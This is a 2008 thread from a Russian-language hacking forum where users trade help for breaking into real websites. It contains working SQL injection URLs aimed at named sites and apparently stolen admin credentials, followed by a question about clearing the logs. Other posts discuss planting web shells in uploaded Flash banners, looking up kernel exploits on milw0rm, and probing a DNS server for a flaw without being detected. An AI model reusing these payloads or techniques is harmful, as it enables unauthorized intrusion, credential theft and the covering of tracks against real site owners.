ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
19.11.2008, 17:53
|
|
Познающий
Регистрация: 09.11.2008
Сообщений: 34
Провел на форуме:
36308
Репутация:
2
|
|
Сообщение от criz
узнай че висит на сервере
Я новичек поэтому жаргон еще не совсем знаю... 
Сори за тупой вопрос... А висит на сервере это типа какие демоны запущены или что? и искать эксплойт под ядро операционки или под какую то другую лажу?
|
|
|
19.11.2008, 18:05
|
|
Познающий
Регистрация: 09.11.2008
Сообщений: 34
Провел на форуме:
36308
Репутация:
2
|
|
Сообщение от criz
стандарт: узнай че висит на сервере, потом идешь, например, на милворм и ищешь "инструмент"(эксплойт) и можешь действовать смотри вот этот эксплоит под мой вариант прокатит?
http://milw0rm.com/exploits/6304
|
|
|
|
19.11.2008, 18:40
|
|
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
Провел на форуме:
2584838
Репутация:
770
|
|
swf - баннеры
Вопрос такой:
могу заливать и вешать баннеры на одном хосте.
проверки антивирем содержимого баннера нету, фильтрация по расширению не стоит (вроде как).
Директорию, куда пишутся файлы не получилось определить, и походу там есть несколько моих вебшеллов :-/
возможно ли записать в тело баннера код, который бы автоматичевки выполнялся при загрузке баннера?
что можно выжать максимально из возможности заливки и вывешивания баннеров (что-то вроде iframe, автоматической переадресации на "нужный сайт", запихнуть в него сплоит. или что нибудь в таком духе)
В вопросе по устройству и возможностях swf-файлов ничего не знаю, вот и задаю вопрос (-
|
|
|
|
19.11.2008, 18:42
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678
Репутация:
354
|
|
Определи директорию банально. Просто "копировать адрес рисунка", после имя твоего файла допишешь и всё.
|
|
|
|
19.11.2008, 19:07
|
|
Постоянный
Регистрация: 06.08.2007
Сообщений: 347
Провел на форуме:
2584838
Репутация:
770
|
|
Сообщение от ThreeD
Определи директорию банально. Просто "копировать адрес рисунка", после имя твоего файла допишешь и всё.
баннер это не картинка, a "Shockvawe Flash Object" :-\ анимашка.
Код:
data="http://_______/banners/c99madshell.php.SWF"
.........
<param name="movie" value="banners/c99madshell.php.SWF">
захожу в дерикторию /banners/ и она пустая, файлов нет Х___х
нужны действующие способы (- репой закидаю (-
|
|
|
|
19.11.2008, 19:54
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
Если баннер заливается (и не в БД) и с любым расширением - то можешь просто в конец флешки записать шелл в хекс-редакторе. Если расширение полюбому SWF, то те нужно именно флешку заливать с определённым кодом (ЭкшенСкрипт) редиректа - это максимум
|
|
|
|
19.11.2008, 20:09
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717
Репутация:
1980
|
|
смотри вот этот эксплоит под мой вариант прокатит?
http://milw0rm.com/exploits/6304
не прокатит, потому что это не эксплоит, а шеллкод
|
|
|
|
19.11.2008, 20:29
|
|
Познающий
Регистрация: 09.11.2008
Сообщений: 34
Провел на форуме:
36308
Репутация:
2
|
|
http://www.a-shop.ru/product_info.php?products_id=-1'+union+select+concat(username,char(58),password) +from+administrators/*
http://www.a-shop.ru/admin
sergey : q1w2e3
там есть менюшка с логами , вот как их отчистить?
|
|
|
|
19.11.2008, 23:39
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851
Репутация:
107
|
|
Как можно безпалевно проверить днс сервер на эту http://www.securitylab.ru/vulnerability/355730.php дыру?
|
|
|
|
19.11.2008, 23:57
|
|
Новичок
Регистрация: 14.11.2008
Сообщений: 12
Провел на форуме:
42624
Репутация:
10
|
|
Помогите все знаю, но логин и пасс не могу выташить
_http://www.gamesector.org/review.php?id=-297+union+select+1,2,3,concat_ws(0x3a3a,column_nam e),5,6,7+from+information_schema.columns+where+tab le_name=char(112,111,108,108,95,117,115,101,114)--
_http://www.gamesector.org/review.php?id=-297+union+select+1,2,3,concat(username,
0x3a,userpass),5,6,7+from+poll_user--
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Raz0r]](/avatars/avatar33548.jpg?951604){kind=avatar}
Похожие темы
Линейный вид
